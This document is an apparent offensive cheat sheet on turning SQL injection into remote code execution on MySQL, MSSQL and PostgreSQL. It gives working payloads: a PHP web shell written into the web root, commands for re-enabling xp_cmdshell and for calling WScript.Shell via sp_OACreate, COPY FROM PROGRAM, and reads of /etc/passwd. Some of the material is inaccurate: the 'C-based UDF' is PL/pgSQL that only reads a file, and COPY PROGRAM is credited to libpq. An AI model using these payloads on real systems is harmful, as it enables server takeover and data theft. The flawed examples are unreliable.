SQL To RCE

SQL Injection (SQLi) vulnerabilities can potentially escalate to Remote Code Execution (RCE) if certain conditions are met, depending on the target database management system (DBMS). Here's how SQLi can be escalated to RCE across three common databases: MySQL, MSSQL, and PostgreSQL, along with the methods used.

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MySQL: SQLi to RCE

Method 1: INTO OUTFILE for Web Shell Upload

• Condition: The MySQL user running the query has file write permissions (e.g., FILE privilege), and the web server is serving files from a directory writable by the database.

• How it works: By exploiting the INTO OUTFILE feature, an attacker can write arbitrary content (like a PHP web shell) to a directory served by the web server.

Steps:

1. Write a web shell (or any code) to the file system using INTO OUTFILE:

   SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

2. Access the uploaded file (shell.php) via a web browser and execute system commands by passing them as parameters:

   http://target.com/shell.php?cmd=whoami

• Outcome: RCE via the uploaded shell file.

Method 2: LOAD_FILE() Function

• Condition: The attacker needs to have read access to the file system.

• How it works: The LOAD_FILE() function can be used to read sensitive files from the server. If sensitive credentials or system files (e.g., /etc/passwd) are exposed, these can aid in escalating to RCE.

Steps:

SELECT LOAD_FILE('/etc/passwd');

• While this doesn’t directly lead to RCE, it can expose critical system information that aids in escalation.

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Microsoft SQL Server (MSSQL): SQLi to RCE

Method 1: xp_cmdshell Command Execution

• Condition: The xp_cmdshell stored procedure is enabled (it is disabled by default but can be re-enabled if the attacker has administrative privileges).

• How it works: xp_cmdshell allows running arbitrary OS commands from SQL Server. An attacker can exploit SQLi to execute system commands.

Steps:

1. Enable xp_cmdshell if it's disabled:

   EXEC sp_configure 'show advanced options', 1;
   RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell', 1;
   RECONFIGURE;

2. Use xp_cmdshell to execute OS commands:

   EXEC xp_cmdshell 'whoami';

3. The output will give the user running the SQL service, and further commands can be executed for RCE.

Method 2: sp_OACreate COM Objects

• Condition: The attacker has sufficient privileges to execute OLE Automation Procedures.

• How it works: The sp_OACreate procedure allows creating COM objects that can execute system commands.

Steps:

DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami';

• Outcome: RCE via system command execution.

Method 3: Linked Servers for Command Execution

• Condition: SQL Server is configured with linked servers, allowing connections to remote systems.

• How it works: An attacker can exploit the OPENROWSET function to execute commands on a linked server, potentially leading to RCE on that system.

Steps:

EXEC('master..xp_cmdshell ''whoami''') AT [linked_server_name];

• Outcome: RCE on the linked server.

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PostgreSQL: SQLi to RCE

Method 1: COPY TO/FROM for Web Shell Upload

• Condition: The attacker has write permissions on the file system, and PostgreSQL has access to a directory served by a web server.

• How it works: The COPY command can write query results to a file on the server, which can be used to upload a web shell.

Steps:

1. Use COPY to write a web shell:

   COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

2. Access the web shell via the browser:

   http://target.com/shell.php?cmd=whoami

Method 2: PostgreSQL User-Defined Functions (UDF)

• Condition: The attacker can create and execute User-Defined Functions in languages like C or PL/pgSQL.

• How it works: PostgreSQL allows creating UDFs in various languages. An attacker can create a UDF in C that executes system commands, leading to RCE.

Steps:

1. Create a C-based UDF to execute system commands:

   CREATE OR REPLACE FUNCTION exec_cmd(text) RETURNS void AS $$
   DECLARE
     result text;
   BEGIN
     result := pg_read_file('/etc/passwd', 0, 8192);
     RAISE NOTICE '%', result;
   END;
   $$ LANGUAGE plpgsql;

2. Execute the command:

   SELECT exec_cmd('whoami');

Method 3: libpq COPY PROGRAM for Command Execution

• Condition: The attacker needs to be able to leverage the COPY PROGRAM feature of the PostgreSQL libpq library.

• How it works: The COPY PROGRAM allows executing commands directly on the server when copying data to or from external files.

Steps:

COPY test_table FROM PROGRAM 'id';

• Outcome: Direct command execution leading to RCE.

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Summary of SQLi to RCE Escalation:

Database	Method	Conditions	RCE Methodology
MySQL	INTO OUTFILE	File write permissions (FILE privilege)	Upload web shell or arbitrary file.
	LOAD_FILE()	File read permissions	Read sensitive files to escalate further.
MSSQL	xp_cmdshell	xp_cmdshell enabled	Execute system commands directly.
	sp_OACreate	Admin privileges, OLE Automation enabled	Execute commands through COM objects.
	Linked Servers	Linked server configured	Execute commands on remote linked servers.
PostgreSQL	COPY TO/FROM	Write permissions on the file system	Upload web shell or arbitrary file.
	User-Defined Functions (UDF)	Ability to create UDFs in C or PL/pgSQL	Create a function that executes system commands.
	COPY PROGRAM	Access to libpq with COPY PROGRAM	Execute system commands directly through COPY PROGRAM.